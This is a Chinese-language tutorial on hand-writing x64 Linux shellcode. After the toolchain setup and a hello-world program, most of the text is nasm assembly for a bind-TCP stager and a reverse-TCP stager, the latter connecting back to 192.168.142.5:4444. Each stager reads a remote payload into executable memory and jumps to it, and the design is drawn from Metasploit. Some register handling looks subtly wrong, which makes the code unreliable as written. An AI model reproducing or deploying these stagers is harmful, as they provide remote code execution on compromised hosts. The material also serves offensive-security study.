1. 环境搭建
shellcode的背景知识在Windows环境下已经说过了,这里不再多说。
工欲善其事,必先利其器。Linux环境下采用基于Debian的Kali系统,相对于Windows环境来说,Linux就简单多了,主要用到的工具如下:
- Kali系统:基于Debian的Linux发行版,集成了多种渗透安全工具;
- Vim或VS code:用于编写shellcode源码;
- nasm:免费开源的x86/x64 架构汇编器,可以汇编16 位、32 位和 64 位(IA-32 和 x86-64)的汇编语言程序,同时nasm也是采用了Intel风格的汇编规则;
- gdb:一款免费开源的代码调试器,可支持多种处理器架构,Linux默认安装;
这几款工具对于码农来说非常熟悉了,不再多说了。
shellcode源码包下载:https://github.com/peiqi0818/shellcode-list
1.1 Hello World程序
首先上手实现一个万年不变的经典程序hello world:
[BITS 64]
section .text ; 代码段
global _start ; 默认程序入口
_start:
mov rax, 1 ; 系统调用号sys_write=1
mov rdi, 1 ; 参数1:文件描述符:标准输出stdout=1
lea rsi, [rel msg] ; 参数2:缓冲区的地址,即字符串的地址
mov rdx, len ; 参数3:写入的字节数,即字符串的长度
syscall ; 执行系统调用-标准输出
mov rax, 60 ; 系统调用号:sys_exit=60
xor rdi, rdi ; 参数1:退出状态码,0表示成功退出
syscall ; 系统调用-退出
section .data ; 数据段
msg: db "Hello World", 0 ; 要输出的信息
len equ $ - msg ; 获取字符串的长度
关键指令分析
- global _start:伪指令,将_start符号声明为全局可见的程序入口点,程序加载器将可执行文件加载到内存后,会默认去寻找名 _start的标号地址,并从那里开始执行第一条指令;
- syscall:X64-Linux系统默认的系统调用指令,执行syscall指令前,必须遵循特定是ABI约定:将系统调用号放到rax寄存器,参数依次存放到rdi,rsi,rdx,r10,r8,r9寄存器;
- lea rsi, [rel msg]:地址传送指令,将msg标号的有效地址加载到rsi寄存器中,实现位置无关代码;lea不同于mov指令,lea是传送的地址本身;
- [rel msg]:X64架构新增的rip相对寻址方式,它告诉汇编器计算msg标号相对于下一条指令的指令指针rip的偏移量,作用就是实现位置无关代码,使程序可以在内存的任何位置加载和执行,且不再需要重定位;
- len equ $ – msg:nasm汇编的伪指令,用于在编译时计算并定义一个常量;equ是定义一个常量,$符号是nasm特有的位置计数器,代表当前的内存地址,这里用于计算字符串的长度;
X64架构Linux系统与Windows系统调用不同点:
- 程序入口点:Linux系统下默认为_start标号处,通常每个汇编程序都有这个标号,Windows系统则取决于具体的链接器,一般为_mainCRTStartup,;
- 系统调用:Linux系统下使用syscall指令实现系统调用,代替了之前的int 0x80,Windows系统下通常不直接使用系统调用指令,而是调用DLL的API来实现功能;
- 调用约定-传参:Linux系统使用rdi,rsi,rdx,r10,r8,r9寄存器传递前6个参数,Windows系统使用rcx,rdx,r8,r9寄存器传递前4个参数,剩余的参数则通过;
1.2 运行测试
程序编写好之后,就可以使用nasm汇编器汇编:
nasm -f elf64 -g hello_world.asm -o hello_world.o
汇编成功后会生成一个.o的中间文件,接着使用ld链接器生成可执行文件:
ld hello_world.o -o hello_world
链接成功后,就可以在终端运行了:
./hello_world
看起来很麻烦,没有关系,写成一个脚本直接运行即可,新建一个build.sh文件:
#!/bin/bash
nasm -f elf64 -g hello_world.asm -o hello_world.o
ld hello_world.o -o hello_world
./hello_world
如果想要使用VS code调试的话,就需要搭建环境,首先下载Linux版本的VS code-打开-创建hello_world.asm文件,编辑好以后开始配置任务;
输入快捷键Ctrl+Shift+P,打开命令面板-输入tasks,选择第一项配置任务:
Tasks: Configure Task…,创建tasks.json文件-选择MSBuild执行生成目标,接着使用下面的json代码覆盖:
{
"version": "2.0.0",
"tasks": [
{
"label": "nasm-build",
"type": "shell",
"command": "bash",
"args": [
"-c",
"rm -f *.o && nasm -f elf64 -g -F dwarf ${file} -o ${fileDirname}/${fileBasenameNoExtension}.o && ld -o ${fileDirname}/${fileBasenameNoExtension} ${fileDirname}/${fileBasenameNoExtension}.o && rm -f ${fileDirname}/${fileBasenameNoExtension}.o"
],
"group": { "kind": "build", "isDefault": true },
"options": {
"cwd": "${workspaceFolder}"
}
}
]
}
其实就是一个VS code版本的脚本,在当前的hello_world.asm文件下输入快捷键Ctrl+Shift+B,即可生成可执行文件hello_world,运行./hello_world命令即可运行成功。

当然还要添加一个调试的脚本文件lanuch.json:
{
"version": "0.2.0", // 调试配置的版本号
"configurations": [
{
"name": "Debug Assembly", // 此次调试的名称
"type": "cppdbg", // 定义调试器的类型,这里表示使用c++调试器
"request": "launch", // 启动一个新的调试会话
"program": "${workspaceFolder}/hello_world", // 待调试的可执行程序的路径
"args": [], // 这里设置可执行程序所需要的参数用于调试,比如你的程序需要一个文件名作为参数之类的
"stopAtEntry": true, // 程序不会再入口点处停止(即main函数),从头运行到结束或设置的断点处
"cwd": "${workspaceFolder}", // 设置当前的工作目录
"environment": [], // 设置调试的环境变量
"externalConsole": false, // 不使用外部控制台,调试输出将显示在内置的调试控制台中
"MIMode": "gdb", // 指定使用 gdb 调试器
"miDebuggerPath": "/usr/bin/gdb", // 指定使用 gdb 调试器的路径
"miDebuggerArgs": "-q -ex quit; wait() {fg >/dev/null;}; /bin/gdb -q --interpreter=mi",
"setupCommands": [
{
// 打印
"description": "Enable pretty printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
},
{
// 可选:设置 GDB 显示汇编指令视图,
"description": "Set disassembly flavor to intel",
"text": "set disassembly-flavor intel",
"ignoreFailures": true
}
],
"preLaunchTask": "nasm-build" // 启动tasks.json创建的任务,名称要对应起来
}
]
}
为了方便调试,可以安装一个Memory View的插件。
2. 正向TCP
shellcode的核心就在于系统调用,通过调用操作系统提供的API来实现具体的功能。
X64_Linux系统下,系统调用遵循System V AMD64 ABI调用约定。
系统调用号参考:syscall_64.tbl。
2.1 实现流程
基本上是系统调用,调用号存入寄存器-寄存器传参-执行系统调用
- 第一步:调用sys_socket系统调用创建Socket套接字,保存socket文件描述符到栈上;
- 第二步:调用sys_bind系统调用将套接字绑定到端口上;
- 第三步:调用sys_listen系统调用将套接字转为被动监听状态,准备接收来自客户端的连接请求;
- 第四步:调用sys_accept系统调用使进程进入阻塞状态,接收客户端的连接;
- 第五步:调用sys_close系统调用关闭旧的套接字socket;
- 第六步:调用sys_mmap系统调用在虚拟内存中创建内存映射,并将映射地址存到r15寄存器;
- 第七步:调用sys_read系统调用将接收的shellcode读取到分配的缓冲区;
- 第八步:跳转到接收的shellcode处执行;
(1)第一步:创建Socket套接字,保存socket文件描述符到栈上
;1.socket(int domain,int type,int protocol)
push 0x29 ;系统调用号压栈
pop rax ;存放socket系统调用号
;使用push-pop指令传参,比mov高效
push 2
pop rdi ;参数1domain=2=AF_INET(IPv4协议族)
push 1
pop rsi ;参数2type=1=SOCK_STREAM(面向连接的TCP套接字)
xor rdx,rdx ;参数3protocol=0=IPPROTO_TCP(自动选择协议)
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
push rax ;保存socket句柄到栈上,后续使用,这里的句柄代指系统调用号
(2)第二步:调用bind将套接字绑定到端口上
;2.bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xchg rax,rdi ;参数1sockfd=第一步创建的socket文件描述符
; sin_family=0x0002(AF_INET)
; sin_port=0x5C11(网络字节序的4444端口)
; sin_addr=0x00000000(INADDR_ANY)
mov rsi,0x000000005C110002 ;参数2addr=sockaddr_in结构体的地址
push rsi ;将sockaddr_in结构体保存到栈上
mov rsi,rbp ;让rsi指向sockaddr_in结构体指针
push 16
pop rdx ;参数3addrlen=16,结构体sockaddr_in的大小
push 0x31 ;系统调用号
pop rax ;sys_bind系统调用号
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(3)第三步:调用listen套接字转为被动监听状态,准备接收来自客户端的请求
;listen(int sockfd, int backlog)
mov rdi,[rsp+8] ;参数1sockfd=从栈中恢复socket文件描述符(第一步创建的socket)
push 128
pop rsi ;参数2backlog=全连接队列的最大长度
push 0x32 ;系统调用号压栈
pop rax ;sys_listen系统调用号
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(4)第四步:调用accept使进程进入阻塞状态,接收客户端的连接
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov rdi,[rsp+8] ;参数1sockfd=从栈中恢复socket文件描述符(第一步创建的socket)
xor rsi,rsi ;参数2addr=不保存客户端地址,所以为NULL
xor rdx,rdx ;参数3addrlen=指向socklen_t类型的整数的指针为NULL
push 43 ;系统调用号压栈
pop rax ;sys_accept系统调用号
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
xchg r14,rax ;将新连接的文件描述符存入r14
(5)第五步:调用sys_close关闭旧的套接字socket
;close(int fd)
push rdi ;清理栈上的socket结构
push rdi ;关闭监听socket
push 3 ;系统调用号压栈
pop rax ;sys_close系统调用号
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(6)第六步:调用sys_mmap在虚拟内存中创建内存映射,并将映射地址存到r15寄存器
;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
push 0x9 ;系统调用号压栈
pop rax ;sys_mmap系统调用号
xor rdi,rdi ;参数1addr=0,映射的起始地址,为0表示内核自动选择
push 0x2000
pop rsi ;参数2length=设置映射区域的大小,根据stage的大小来设置
push 7
pop rdx ;参数3prot=内存保护标志:PROT_READ|PROT_WRITE|PROT_EXEC
push 0x22
pop r10 ;参数4flags=映射类型和选项:MAP_PRIVATE|MAP_ANONYMOUS
xor r9,r9 ;参数5fd文件描述符=0,表示匿名映射,参数6=offset文件偏移量
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
xchg r15,rax ;将映射地址存入r15
(7)第七步:调用sys_read将接收的shellcode读取到分配的缓冲区
;ssize_t read(int fd, void *buf, size_t count)
read_pre:
xchg rdi,r14 ;参数1fd=连接socket文件描述符(第一步创建的socket)
read:
mov rsi,r15 ;参数2buf=指向映射的内存缓冲区
mov rdx,0x2000 ;参数3count=读取2000字节的数据
xor rax, rax ;sys_read系统调用号0
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(8)第八步:跳转到接收的shellcode处执行
exec:
jmp r15 ;执行接收到的shellcode,之前将分配内存的地址存到了r15寄存器
2.2 运行测试
首先在vscode快捷键Ctrl+Shift+B生成可执行文件tcp,执行指令./tcp运行服务端等待连接,然后运行client.py客户端连接,就会输出Hello World:

3. 反向TCP
正向TCP就是由客户端向服务端发起连接,反向TCP就是相反的操作,由目标系统主动连接外部的服务器,常用于穿透防火墙或者NAT设备。
3.1 实现流程
- 第一步:调用sys_socket系统调用创建Socket套接字,保存socket文件描述符到栈上;
- 第二步:调用sys_connect系统调用主动发起与远程服务器建立TCP连接的请求;
- 第三步:调用 sys_mmap 系统调用在虚拟内存中创建内存映射;
- 第四步:调用 sys_read 系统调用将接收的 shellcode 读取到分配的缓冲区;
- 第五步:跳转到接收的 shellcode 处执行;
(1)第一步:调用socket创建Socket套接字,保存socket文件描述符到栈上
;1.socket(int domain,int type,int protocol)
push 0x29 ;系统调用号压栈
pop rax ;存放socket系统调用号
;使用push-pop指令传参,比mov高效
push 2
pop rdi ;参数1domain=2=AF_INET(IPv4协议族)
push 1
pop rsi ;参数2type=1=SOCK_STREAM(面向连接的TCP套接字)
xor rdx,rdx ;参数3protocol=0=IPPROTO_TCP(自动选择协议)
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
push rax ;保存socket句柄到栈上,后续使用,这里的句柄代指系统调用号
(2)第二步:调用connect主动发起与远程服务器建立TCP连接的请求
;connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xchg rax,rdi ;参数1sockfd=socket文件描述符(第一步创建的socket)
mov rsi,0x058EA8C05C110002 ;参数2addr=sockaddr_in结构体,192.168.142.5:4444, AF_INET
push rsi ;将sockaddr_in结构体保存到栈上
mov rsi,rbp ;让rsi指向sockaddr_in结构体指针
push 16
pop rdx ;参数3addrlen=16,结构体大小
push 0x2a ;系统调用号压栈
pop rax ;connect系统调用号
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(3)第三步:调用mmap在虚拟内存中创建内存映射
;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
push 0x9 ;系统调用号压栈
pop rax ;mmap系统调用号
xor rdi,rdi ;参数1addr=0,映射的起始地址,为0表示内核自动选择
push 0x2000
pop rsi ;参数2length=设置映射区域的大小,根据stage的大小来设置
push 7
pop rdx ;参数3prot=内存保护标志
push 0x22
pop r10 ;参数4flags=映射类型和选项
;xor r8,r8 ;参数5fd=文件描述符=0,当flags包含MAP_ANONYMOUS时,fd参数会被忽略不显示设置
xor r9,r9 ;参数6offset=文件偏移量,匿名映射为0
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(4)第四步:调用sys_read将接收的 shellcode 读取到分配的缓冲区
;ssize_t read(int fd, void *buf, size_t count)
read_pre:
pop rcx ;clear,清除之前保存在栈上的sockaddr_in结构体
pop rdi ;参数1fd=socket句柄(第一步创建的socket套接字)
xchg rax,r15 ;将映射地址存入r15
push 0 ;将系统调用号压栈
pop rax ;read系统调用号
read:
mov rsi,r15 ;参数2buf=当前缓冲区指针
mov rdx,0x2000 ;参数3=读取2000字节的数据
syscall ;执行系统调用
test rax,rax ;检测返回值,如果为0表示成功,负数则表示错误
js failure ;如果为负数则失败,跳转到failure标号
(5)第五步:跳转到接收的 shellcode 处执行
exec:
jmp r15 ;执行接收到的shellcode,之前将分配内存的地址存到了r15寄存器
3.2 运行测试
反向TCP和正向TCP相反,retcp程序作为客户端,Python运行server.py文件开启服务等待retcp连接,然后执行Hello World:

4. 参考链接
- msf-shellcode-Linux-X64:https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/linux/x64/stager_sock_reverse.s
- System V AMD64 ABI调用约定:https://course.ccs.neu.edu/cs3650sp23/l/02/x86-64-sysv-abi.pdf
- Linux系统调用原型:https://github.com/torvalds/linux/blob/master/include/linux/syscalls.h
- Linux系统调用号X64参考:https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
- Linux Shellcode开发:https://xz.aliyun.com/news/17993
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。